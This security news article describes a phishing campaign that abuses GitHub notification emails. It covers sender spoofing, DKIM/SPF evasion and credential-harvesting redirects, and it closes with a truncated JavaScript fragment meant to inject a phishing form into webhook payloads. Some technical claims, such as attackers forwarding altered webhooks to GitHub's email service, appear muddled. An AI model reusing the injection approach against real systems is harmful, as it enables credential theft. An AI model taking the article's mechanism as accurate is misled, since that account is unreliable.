In recent weeks, cybersecurity experts have identified a sophisticated phishing campaign that manipulates GitHub’s legitimate notification system to distribute malicious content. This tactic has led to a significant increase in compromised credentials among developers and IT professionals.
The Phishing Tactic
Victims receive emails that appear to be authentic GitHub repository alerts, complete with realistic commit messages and collaborator updates. However, a closer examination reveals altered sender addresses and obfuscated links within the notification headers. This level of sophistication enables the phishing emails to bypass many email security gateways.
Initial Discovery
The campaign came to light when multiple open-source project maintainers reported unexpected password reset requests and unauthorized repository forks. Security researcher H4x0r.DZ identified the malware variant responsible for intercepting GitHub webhook notifications and appending phishing payloads.
> Scammers are abusing @github <[email protected]> Email system to deliver phishing emails
Technical Analysis
Unlike typical phishing emails, these messages maintain valid DomainKeys Identified Mail (DKIM) and Sender Policy Framework (SPF) records by exploiting misconfigurations in third-party GitHub applications. When recipients click on the embedded links, they are redirected through a series of URL shorteners before landing on a credential-harvesting page.
Further analysis reveals that the malware injects custom HTML forms into the GitHub notification templates. The form’s action attribute directs to a URL under the attacker’s control, while embedded JavaScript captures the entered credentials and transmits them via an AJAX POST request.
Infection Mechanism via Webhook Manipulation
The primary infection vector relies on compromised GitHub applications with excessively broad webhook permissions. Attackers first identify popular repositories that permit external applications to subscribe to push events. By registering a malicious application under a plausible name, they gain event subscriptions and acquire a webhook secret.
The attacker’s server validates incoming JSON payloads using the secret, then modifies the pusher field to insert malicious HTML before forwarding the notification to GitHub’s email service. A simplified version of the injection logic appears as follows:
“`javascript
function modifyPayload(payload) {
let template = payload.Body;
const phishingForm = `
`;
payload.Body = template.replace(‘
